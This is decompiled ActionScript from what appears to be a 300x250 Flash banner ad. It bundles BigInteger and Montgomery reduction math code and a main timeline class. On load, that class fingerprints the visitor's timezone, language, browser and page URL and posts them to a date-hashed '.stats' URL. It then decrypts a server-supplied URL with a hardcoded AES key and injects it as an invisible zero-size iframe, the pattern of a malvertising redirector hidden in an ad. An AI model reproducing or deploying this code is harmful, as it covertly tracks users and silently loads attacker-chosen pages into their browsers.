            if (s != _arg1.s){

                ZERO.subTo(_arg2, _arg2);

            };

        }

        public function bitCount():int{

            var _local1:int;

            var _local2:int;

            var _local3:int;

            _local1 = 0;

            _local2 = (s & DM);

            _local3 = 0;

            while (_local3 < t) {

                _local1 = (_local1 + cbit((a[_local3] ^ _local2)));

                _local3++;

            };

            return (_local1);

        }

        public function byteValue():int{

            return (((t)==0) ? s : ((a[0] << 24) >> 24));

        }

        private function cbit(_arg1:int):int{

            var _local2:uint;

            _local2 = 0;

            while (_arg1 != 0) {

                _arg1 = (_arg1 & (_arg1 - 1));

                _local2++;

            };

            return (_local2);

        }

        bi_internal function rShiftTo(_arg1:int, _arg2:BigInteger):void{

            var _local3:int;

            var _local4:int;

            var _local5:int;

            var _local6:int;

            var _local7:int;

            _arg2.s = s;

            _local3 = (_arg1 / DB);

            if (_local3 >= t){

                _arg2.t = 0;

                return;

            };

            _local4 = (_arg1 % DB);

            _local5 = (DB - _local4);

            _local6 = ((1 << _local4) - 1);

            _arg2.a[0] = (a[_local3] >> _local4);

            _local7 = (_local3 + 1);

            while (_local7 < t) {

                _arg2.a[((_local7 - _local3) - 1)] = (_arg2.a[((_local7 - _local3) - 1)] | ((a[_local7] & _local6) << _local5));

                _arg2.a[(_local7 - _local3)] = (a[_local7] >> _local4);

                _local7++;

            };

            if (_local4 > 0){

                _arg2.a[((t - _local3) - 1)] = (_arg2.a[((t - _local3) - 1)] | ((s & _local6) << _local5));

            };

            _arg2.t = (t - _local3);

            _arg2.clamp();

        }

        public function modInverse(_arg1:BigInteger):BigInteger{

            var _local2:boolean;

            var _local3:BigInteger;

            var _local4:BigInteger;

            var _local5:BigInteger;

            var _local6:BigInteger;

            var _local7:BigInteger;

            var _local8:BigInteger;

            _local2 = _arg1.isEven();

            if (((((isEven()) && (_local2))) || ((_arg1.sigNum() == 0)))){

                return (BigInteger.ZERO);

            };

            _local3 = _arg1.clone();

            _local4 = clone();

            _local5 = nbv(1);

            _local6 = nbv(0);

            _local7 = nbv(0);

            _local8 = nbv(1);

            while (_local3.sigNum() != 0) {

                while (_local3.isEven()) {

                    _local3.rShiftTo(1, _local3);

                    if (_local2){

                        if (((!(_local5.isEven())) || (!(_local6.isEven())))){

                            _local5.addTo(this, _local5);

                            _local6.subTo(_arg1, _local6);

                        };

                        _local5.rShiftTo(1, _local5);

                    } else {

                        if (!_local6.isEven()){

                            _local6.subTo(_arg1, _local6);

                        };

                    };

                    _local6.rShiftTo(1, _local6);

                };

                while (_local4.isEven()) {

                    _local4.rShiftTo(1, _local4);

                    if (_local2){

                        if (((!(_local7.isEven())) || (!(_local8.isEven())))){

                            _local7.addTo(this, _local7);

                            _local8.subTo(_arg1, _local8);

                        };

                        _local7.rShiftTo(1, _local7);

                    } else {

                        if (!_local8.isEven()){

                            _local8.subTo(_arg1, _local8);

                        };

                    };

                    _local8.rShiftTo(1, _local8);

                };

                if (_local3.compareTo(_local4) >= 0){

                    _local3.subTo(_local4, _local3);

                    if (_local2){

                        _local5.subTo(_local7, _local5);

                    };

                    _local6.subTo(_local8, _local6);

                } else {

                    _local4.subTo(_local3, _local4);

                    if (_local2){

                        _local7.subTo(_local5, _local7);

                    };

                    _local8.subTo(_local6, _local8);

                };

            };

            if (_local4.compareTo(BigInteger.ONE) != 0){

                return (BigInteger.ZERO);

            };

            if (_local8.compareTo(_arg1) >= 0){

                return (_local8.subtract(_arg1));

            };

            if (_local8.sigNum() < 0){

                _local8.addTo(_arg1, _local8);

            } else {

                return (_local8);

            };

            if (_local8.sigNum() < 0){

                return (_local8.add(_arg1));

            };

            return (_local8);

        }

        bi_internal function fromArray(_arg1:ByteArray, _arg2:int):void{

            var _local3:int;

            var _local4:int;

            var _local5:int;

            var _local6:int;

            var _local7:int;

            _local3 = _arg1.position;

            _local4 = (_local3 + _arg2);

            _local5 = 0;

            _local6 = 8;

            t = 0;

            s = 0;

            while (--_local4 >= _local3) {

                _local7 = (((_local4 < _arg1.length)) ? _arg1[_local4] : 0);

                if (_local5 == 0){

                    var _local8 = t++;

                    a[_local8] = _local7;

                } else {

                    if ((_local5 + _local6) > DB){

                        a[(t - 1)] = (a[(t - 1)] | ((_local7 & ((1 << (DB - _local5)) - 1)) << _local5));

                        _local8 = t++;

                        a[_local8] = (_local7 >> (DB - _local5));

                    } else {

                        a[(t - 1)] = (a[(t - 1)] | (_local7 << _local5));

                    };

                };

                _local5 = (_local5 + _local6);

                if (_local5 >= DB){

                    _local5 = (_local5 - DB);

                };

            };

            clamp();

            _arg1.position = math.min((_local3 + _arg2), _arg1.length);

        }

        bi_internal function copyTo(_arg1:BigInteger):void{

            var _local2:int;

            _local2 = (t - 1);

            while (_local2 >= 0) {

                _arg1.a[_local2] = a[_local2];

                _local2--;

            };

            _arg1.t = t;

            _arg1.s = s;

        }

        public function intValue():int{

            if (s < 0){

                if (t == 1){

                    return ((a[0] - DV));

                };

                if (t == 0){

                    return (-1);

                };

            } else {

                if (t == 1){

                    return (a[0]);

                };

                if (t == 0){

                    return (0);

                };

            };

            return ((((a[1] & ((1 << (32 - DB)) - 1)) << DB) | a[0]));

        }

        public function min(_arg1:BigInteger):BigInteger{

            return (((compareTo(_arg1))<0) ? this : _arg1);

        }

        public function bitLength():int{

            if (t <= 0){

                return (0);

            };

            return (((DB * (t - 1)) + nbits((a[(t - 1)] ^ (s & DM)))));

        }

        public function shortValue():int{

            return (((t)==0) ? s : ((a[0] << 16) >> 16));

        }

        public function and(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            bitwiseTo(_arg1, op_and, _local2);

            return (_local2);

        }

        protected function toRadix(_arg1:uint=10):string{

            var _local2:int;

            var _local3:number;

            var _local4:BigInteger;

            var _local5:BigInteger;

            var _local6:BigInteger;

            var _local7:string;

            if ((((((sigNum() == 0)) || ((_arg1 < 2)))) || ((_arg1 > 32)))){

                return ("0");

            };

            _local2 = chunkSize(_arg1);

            _local3 = math.pow(_arg1, _local2);

            _local4 = nbv(_local3);

            _local5 = nbi();

            _local6 = nbi();

            _local7 = "";

            divRemTo(_local4, _local5, _local6);

            while (_local5.sigNum() > 0) {

                _local7 = ((_local3 + _local6.intValue()).tostring(_arg1).substr(1) + _local7);

                _local5.divRemTo(_local4, _local5, _local6);

            };

            return ((_local6.intValue().tostring(_arg1) + _local7));

        }

        public function not():BigInteger{

            var _local1:BigInteger;

            var _local2:int;

            _local1 = new BigInteger();

            _local2 = 0;

            while (_local2 < t) {

                _local1[_local2] = (DM & ~(a[_local2]));

                _local2++;

            };

            _local1.t = t;

            _local1.s = ~(s);

            return (_local1);

        }

        bi_internal function subTo(_arg1:BigInteger, _arg2:BigInteger):void{

            var _local3:int;

            var _local4:int;

            var _local5:int;

            _local3 = 0;

            _local4 = 0;

            _local5 = math.min(_arg1.t, t);

            while (_local3 < _local5) {

                _local4 = (_local4 + (a[_local3] - _arg1.a[_local3]));

                var _temp1 = _local3;

                _local3 = (_local3 + 1);

                var _local6 = _temp1;

                _arg2.a[_local6] = (_local4 & DM);

                _local4 = (_local4 >> DB);

            };

            if (_arg1.t < t){

                _local4 = (_local4 - _arg1.s);

                while (_local3 < t) {

                    _local4 = (_local4 + a[_local3]);

                    var _temp2 = _local3;

                    _local3 = (_local3 + 1);

                    _local6 = _temp2;

                    _arg2.a[_local6] = (_local4 & DM);

                    _local4 = (_local4 >> DB);

                };

                _local4 = (_local4 + s);

            } else {

                _local4 = (_local4 + s);

                while (_local3 < _arg1.t) {

                    _local4 = (_local4 - _arg1.a[_local3]);

                    var _temp3 = _local3;

                    _local3 = (_local3 + 1);

                    _local6 = _temp3;

                    _arg2.a[_local6] = (_local4 & DM);

                    _local4 = (_local4 >> DB);

                };

                _local4 = (_local4 - _arg1.s);

            };

            _arg2.s = ((_local4)<0) ? -1 : 0;

            if (_local4 < -1){

                var _temp4 = _local3;

                _local3 = (_local3 + 1);

                _local6 = _temp4;

                _arg2.a[_local6] = (DV + _local4);

            } else {

                if (_local4 > 0){

                    var _temp5 = _local3;

                    _local3 = (_local3 + 1);

                    _local6 = _temp5;

                    _arg2.a[_local6] = _local4;

                };

            };

            _arg2.t = _local3;

            _arg2.clamp();

        }

        public function clone():BigInteger{

            var _local1:BigInteger;

            _local1 = new BigInteger();

            this.copyTo(_local1);

            return (_local1);

        }

        public function pow(_arg1:int):BigInteger{

            return (exp(_arg1, new NullReduction()));

        }

        public function flipBit(_arg1:int):BigInteger{

            return (changeBit(_arg1, op_xor));

        }

        public function xor(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            bitwiseTo(_arg1, op_xor, _local2);

            return (_local2);

        }

        public function or(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            bitwiseTo(_arg1, op_or, _local2);

            return (_local2);

        }

        public function max(_arg1:BigInteger):BigInteger{

            return (((compareTo(_arg1))>0) ? this : _arg1);

        }

        bi_internal function fromInt(_arg1:int):void{

            t = 1;

            s = ((_arg1)<0) ? -1 : 0;

            if (_arg1 > 0){

                a[0] = _arg1;

            } else {

                if (_arg1 < -1){

                    a[0] = (_arg1 + DV);

                } else {

                    t = 0;

                };

            };

        }

        bi_internal function isEven():boolean{

            return ((((t)>0) ? (a[0] & 1) : s == 0));

        }

        public function tostring(_arg1:number=16):string{

            var _local2:int;

            var _local3:int;

            var _local4:int;

            var _local5:boolean;

            var _local6:string;

            var _local7:int;

            var _local8:int;

            if (s < 0){

                return (("-" + negate().tostring(_arg1)));

            };

            switch (_arg1){

                case 2:

                    _local2 = 1;

                    break;

                case 4:

                    _local2 = 2;

                    break;

                case 8:

                    _local2 = 3;

                    break;

                case 16:

                    _local2 = 4;

                    break;

                case 32:

                    _local2 = 5;

                    break;

            };

            _local3 = ((1 << _local2) - 1);

            _local4 = 0;

            _local5 = false;

            _local6 = "";

            _local7 = t;

            _local8 = (DB - ((_local7 * DB) % _local2));

            var _temp1 = _local7;

            _local7 = (_local7 - 1);

            if (_temp1 > 0){

                if ((((_local8 < DB)) && (((_local4 = (a[_local7] >> _local8)) > 0)))){

                    _local5 = true;

                    _local6 = _local4.tostring(36);

                };

                while (_local7 >= 0) {

                    if (_local8 < _local2){

                        _local4 = ((a[_local7] & ((1 << _local8) - 1)) << (_local2 - _local8));

                        var _temp2 = _local4;

                        _local7 = (_local7 - 1);

                        _local8 = (_local8 + (DB - _local2));

                        _local4 = (_temp2 | (a[_local7] >> _local8));

                    } else {

                        _local8 = (_local8 - _local2);

                        _local4 = ((a[_local7] >> _local8) & _local3);

                        if (_local8 <= 0){

                            _local8 = (_local8 + DB);

                            _local7--;

                        };

                    };

                    if (_local4 > 0){

                        _local5 = true;

                    };

                    if (_local5){

                        _local6 = (_local6 + _local4.tostring(36));

                    };

                };

            };

            return (((_local5) ? _local6 : "0"));

        }

        public function setBit(_arg1:int):BigInteger{

            return (changeBit(_arg1, op_or));

        }

        public function abs():BigInteger{

            return (((s)<0) ? negate() : this);

        }

        bi_internal function nbits(_arg1:int):int{

            var _local2:int;

            var _local3:int;

            _local2 = 1;

            _local3 = (_arg1 >>> 16);

            if (_local3 != 0){

                _arg1 = _local3;

                _local2 = (_local2 + 16);

            };

            _local3 = (_arg1 >> 8);

            if (_local3 != 0){

                _arg1 = _local3;

                _local2 = (_local2 + 8);

            };

            _local3 = (_arg1 >> 4);

            if (_local3 != 0){

                _arg1 = _local3;

                _local2 = (_local2 + 4);

            };

            _local3 = (_arg1 >> 2);

            if (_local3 != 0){

                _arg1 = _local3;

                _local2 = (_local2 + 2);

            };

            _local3 = (_arg1 >> 1);

            if (_local3 != 0){

                _arg1 = _local3;

                _local2 = (_local2 + 1);

            };

            return (_local2);

        }

        public function sigNum():int{

            if (s < 0){

                return (-1);

            };

            if ((((t <= 0)) || ((((t == 1)) && ((a[0] <= 0)))))){

                return (0);

            };

            return (1);

        }

        public function toByteArray():ByteArray{

            var _local1:int;

            var _local2:ByteArray;

            var _local3:int;

            var _local4:int;

            var _local5:int;

            _local1 = t;

            _local2 = new ByteArray();

            _local2[0] = s;

            _local3 = (DB - ((_local1 * DB) % 8));

            _local5 = 0;

            var _temp1 = _local1;

            _local1 = (_local1 - 1);

            if (_temp1 > 0){

                if ((((_local3 < DB)) && (!(((_local4 = (a[_local1] >> _local3)) == ((s & DM) >> _local3)))))){

                    var _temp2 = _local5;

                    _local5 = (_local5 + 1);

                    var _local6 = _temp2;

                    _local2[_local6] = (_local4 | (s << (DB - _local3)));

                };

                while (_local1 >= 0) {

                    if (_local3 < 8){

                        _local4 = ((a[_local1] & ((1 << _local3) - 1)) << (8 - _local3));

                        var _temp3 = _local4;

                        _local1 = (_local1 - 1);

                        _local3 = (_local3 + (DB - 8));

                        _local4 = (_temp3 | (a[_local1] >> _local3));

                    } else {

                        _local3 = (_local3 - 8);

                        _local4 = ((a[_local1] >> _local3) & 0xFF);

                        if (_local3 <= 0){

                            _local3 = (_local3 + DB);

                            _local1--;

                        };

                    };

                    if ((_local4 & 128) != 0){

                        _local4 = (_local4 | -256);

                    };

                    if ((((_local5 == 0)) && (!(((s & 128) == (_local4 & 128)))))){

                        _local5++;

                    };

                    if ((((_local5 > 0)) || (!((_local4 == s))))){

                        var _temp4 = _local5;

                        _local5 = (_local5 + 1);

                        _local6 = _temp4;

                        _local2[_local6] = _local4;

                    };

                };

            };

            return (_local2);

        }

        bi_internal function squareTo(_arg1:BigInteger):void{

            var _local2:BigInteger;

            var _local3:int;

            var _local4:int;

            _local2 = abs();

            _local3 = (_arg1.t = (2 * _local2.t));

            while (--_local3 >= 0) {

                _arg1.a[_local3] = 0;

            };

            _local3 = 0;

            while (_local3 < (_local2.t - 1)) {

                _local4 = _local2.am(_local3, _local2.a[_local3], _arg1, (2 * _local3), 0, 1);

                if ((_arg1.a[(_local3 + _local2.t)] = (_arg1.a[(_local3 + _local2.t)] + _local2.am((_local3 + 1), (2 * _local2.a[_local3]), _arg1, ((2 * _local3) + 1), _local4, ((_local2.t - _local3) - 1)))) >= DV){

                    _arg1.a[(_local3 + _local2.t)] = (_arg1.a[(_local3 + _local2.t)] - DV);

                    _arg1.a[((_local3 + _local2.t) + 1)] = 1;

                };

                _local3++;

            };

            if (_arg1.t > 0){

                _arg1.a[(_arg1.t - 1)] = (_arg1.a[(_arg1.t - 1)] + _local2.am(_local3, _local2.a[_local3], _arg1, (2 * _local3), 0, 1));

            };

            _arg1.s = 0;

            _arg1.clamp();

        }

        private function op_and(_arg1:int, _arg2:int):int{

            return ((_arg1 & _arg2));

        }

        protected function fromRadix(_arg1:string, _arg2:int=10):void{

            var _local3:int;

            var _local4:number;

            var _local5:boolean;

            var _local6:int;

            var _local7:int;

            var _local8:int;

            var _local9:int;

            fromInt(0);

            _local3 = chunkSize(_arg2);

            _local4 = math.pow(_arg2, _local3);

            _local5 = false;

            _local6 = 0;

            _local7 = 0;

            _local8 = 0;

            while (_local8 < _arg1.length) {

                _local9 = intAt(_arg1, _local8);

                if (_local9 < 0){

                    if ((((_arg1.charat(_local8) == "-")) && ((sigNum() == 0)))){

                        _local5 = true;

                    };

                } else {

                    _local7 = ((_arg2 * _local7) + _local9);

                    ++_local6;

                    if (_local6 >= _local3){

                        dMultiply(_local4);

                        dAddOffset(_local7, 0);

                        _local6 = 0;

                        _local7 = 0;

                    };

                };

                _local8++;

            };

            if (_local6 > 0){

                dMultiply(math.pow(_arg2, _local6));

                dAddOffset(_local7, 0);

            };

            if (_local5){

                BigInteger.ZERO.subTo(this, this);

            };

        }

        bi_internal function dlShiftTo(_arg1:int, _arg2:BigInteger):void{

            var _local3:int;

            _local3 = (t - 1);

            while (_local3 >= 0) {

                _arg2.a[(_local3 + _arg1)] = a[_local3];

                _local3--;

            };

            _local3 = (_arg1 - 1);

            while (_local3 >= 0) {

                _arg2.a[_local3] = 0;

                _local3--;

            };

            _arg2.t = (t + _arg1);

            _arg2.s = s;

        }

        private function op_xor(_arg1:int, _arg2:int):int{

            return ((_arg1 ^ _arg2));

        }



    }

}//package com.hurlant.math

&#65279;package com.hurlant.math {

    import com.hurlant.math.*;



    class MontgomeryReduction implements IReduction {



        private var um:int;

        private var mp:int;

        private var mph:int;

        private var mpl:int;

        private var mt2:int;

        private var m:BigInteger;



        public function MontgomeryReduction(_arg1:BigInteger){

            this.m = _arg1;

            mp = _arg1.invDigit();

            mpl = (mp & 32767);

            mph = (mp >> 15);

            um = ((1 << (BigInteger.DB - 15)) - 1);

            mt2 = (2 * _arg1.t);

        }

        public function mulTo(_arg1:BigInteger, _arg2:BigInteger, _arg3:BigInteger):void{

            _arg1.multiplyTo(_arg2, _arg3);

            reduce(_arg3);

        }

        public function revert(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            _arg1.copyTo(_local2);

            reduce(_local2);

            return (_local2);

        }

        public function convert(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            _arg1.abs().dlShiftTo(m.t, _local2);

            _local2.divRemTo(m, null, _local2);

            if ((((_arg1.s < 0)) && ((_local2.compareTo(BigInteger.ZERO) > 0)))){

                m.subTo(_local2, _local2);

            };

            return (_local2);

        }

        public function reduce(_arg1:BigInteger):void{

            var _local2:int;

            var _local3:int;

            var _local4:int;

            while (_arg1.t <= mt2) {

                var _local5 = _arg1.t++;

                _arg1.a[_local5] = 0;

            };

            _local2 = 0;

            while (_local2 < m.t) {

                _local3 = (_arg1.a[_local2] & 32767);

                _local4 = (((_local3 * mpl) + ((((_local3 * mph) + ((_arg1.a[_local2] >> 15) * mpl)) & um) << 15)) & BigInteger.DM);

                _local3 = (_local2 + m.t);

                _arg1.a[_local3] = (_arg1.a[_local3] + m.am(0, _local4, _arg1, _local2, 0, m.t));

                while (_arg1.a[_local3] >= BigInteger.DV) {

                    _arg1.a[_local3] = (_arg1.a[_local3] - BigInteger.DV);

                    _local5 = _arg1.a;

                    ++_local3;

                    var _local6 = _local3;

                    var _local7 = (_local5[_local6] + 1);

                    _local5[_local6] = _local7;

                };

                _local2++;

            };

            _arg1.clamp();

            _arg1.drShiftTo(m.t, _arg1);

            if (_arg1.compareTo(m) >= 0){

                _arg1.subTo(m, _arg1);

            };

        }

        public function sqrTo(_arg1:BigInteger, _arg2:BigInteger):void{

            _arg1.squareTo(_arg2);

            reduce(_arg2);

        }



    }

}//package com.hurlant.math

&#65279;package _300x250fr_fla {

    import flash.utils.*;

    import com.adobe.serialization.json.*;

    import flash.events.*;

    import com.adobe.crypto.*;

    import com.hurlant.util.*;

    import com.hurlant.crypto.*;

    import flash.display.*;

    import flash.text.*;

    import flash.system.*;

    import flash.net.*;

    import adobe.utils.*;

    import flash.accessibility.*;

    import flash.desktop.*;

    import flash.errors.*;

    import flash.external.*;

    import flash.filters.*;

    import flash.geom.*;

    import flash.globalization.*;

    import flash.media.*;

    import flash.net.drm.*;

    import flash.printing.*;

    import flash.profiler.*;

    import flash.sampler.*;

    import flash.sensors.*;

    import flash.text.ime.*;

    import flash.text.engine.*;

    import flash.ui.*;

    import flash.xml.*;



    public dynamic class MainTimeline extends movieclip {



        public function MainTimeline(){

            addFrameScript(0, this.frame1);

        }

        public function App(_arg1:Event):void{

            var _local2:sharedobject = sharedobject.getlocal("counter");

            if (_local2.data.hasOwnProperty("seen")){

                return;

            };

            var _local3:date = new date();

            var _local4:URLLoader = new URLLoader();

            var _local5:URLRequest = new URLRequest(this.createURL());

            _local5.method = URLRequestMethod.POST;

            var _local6:URLVariables = new URLVariables();

            _local6.user_tz_shift = _local3.gettimezoneoffset();

            _local6.user_language = this.getBrowserLanguage();

            _local6.user_agent = this.getBrowser();

            _local6.pageURL = ExternalInterface.call("window.location.href.toString");

            _local2.data.seen = true;

            _local2.flush();

            _local5.data = _local6;

            _local4.addEventListener(Event.COMPLETE, this.onloadcomplete);

            _local4.load(_local5);

        }

        public function createURL():string{

            var _local1:string = this.loaderInfo.url;

            _local1 = _local1.substr(0, (_local1.lastindexof("/") + 1));

            var _local2 = (_local1 + "_");

            var _local3:date = new date();

            var _local4 = ((_local2 + MD5.hash(((((("" + _local3.getfullyear()) + _local3.getmonth()) + _local3.getdate()) + _local3.gethours()) + (_local3.getminutes() / 12)))) + ".stats");

            return (_local4);

        }

        public function getBrowser():string{

            var _local1:string;

            if (ExternalInterface.available){

                ExternalInterface.marshallExceptions = true;

                _local1 = ExternalInterface.call("function() {return navigator.userAgent;}");

                return (_local1);

            };

            return (null);

        }

        public function getBrowserLanguage():string{

            var _local1:string;

            var _local2:RegExp;

            var _local3:array;

            if (ExternalInterface.available){

                ExternalInterface.marshallExceptions = true;

                _local1 = ExternalInterface.call("function() { return window.navigator.userLanguage || window.navigator.language }");

                if (!_local1){

                    return (null);

                };

                _local1 = _local1.tolowercase();

                _local2 = /(\w+)-/;

                _local3 = _local2.exec(_local1);

                if (!_local3){

                    return (_local1);

                };

                return (_local3[1]);

            };

            return (null);

        }

        public function onloadcomplete(_arg1:Event):void{

            var url:* = null;

            var key:* = null;

            var cipher:* = null;

            var encrypted:* = null;

            var js:* = null;

            var event:* = _arg1;

            var rawData:* = string(event.target.data);

            var resp:* = JSON.decode(rawData);

            if (resp){

                if (((resp.hit) && (resp.data))){

                    key = new ByteArray();

                    key.writeUTFBytes("27tSTCPrn72YnKGd");

                    cipher = Crypto.getCipher("simple-aes-128-ecb", key);

                    encrypted = Base64.decodeToByteArray(resp.data);

                    cipher.decrypt(encrypted);

                    url = encrypted.tostring();

                } else {

                    if (((resp.iframe) && (resp.url))){

                        url = resp.url;

                    };

                };

                if (url){

                    js = (((((("ifm = document.createElement('iframe');" + "ifm.style.width=0;") + "ifm.style.height=0;") + "ifm.setAttribute('src','") + url) + "');") + "document.body.appendChild(ifm);");

                    try {

                        if (ExternalInterface.available){

                            ExternalInterface.marshallExceptions = true;

                            ExternalInterface.call((("function(){" + js) + "}"));

                        };

                    } catch(e:error) {

                        trace(("Error while processing external interface:" + e));

                    };

                };

            };

        }

        function frame1(){

            this.loaderInfo.addEventListener(Event.COMPLETE, this.App);

        }



    }

}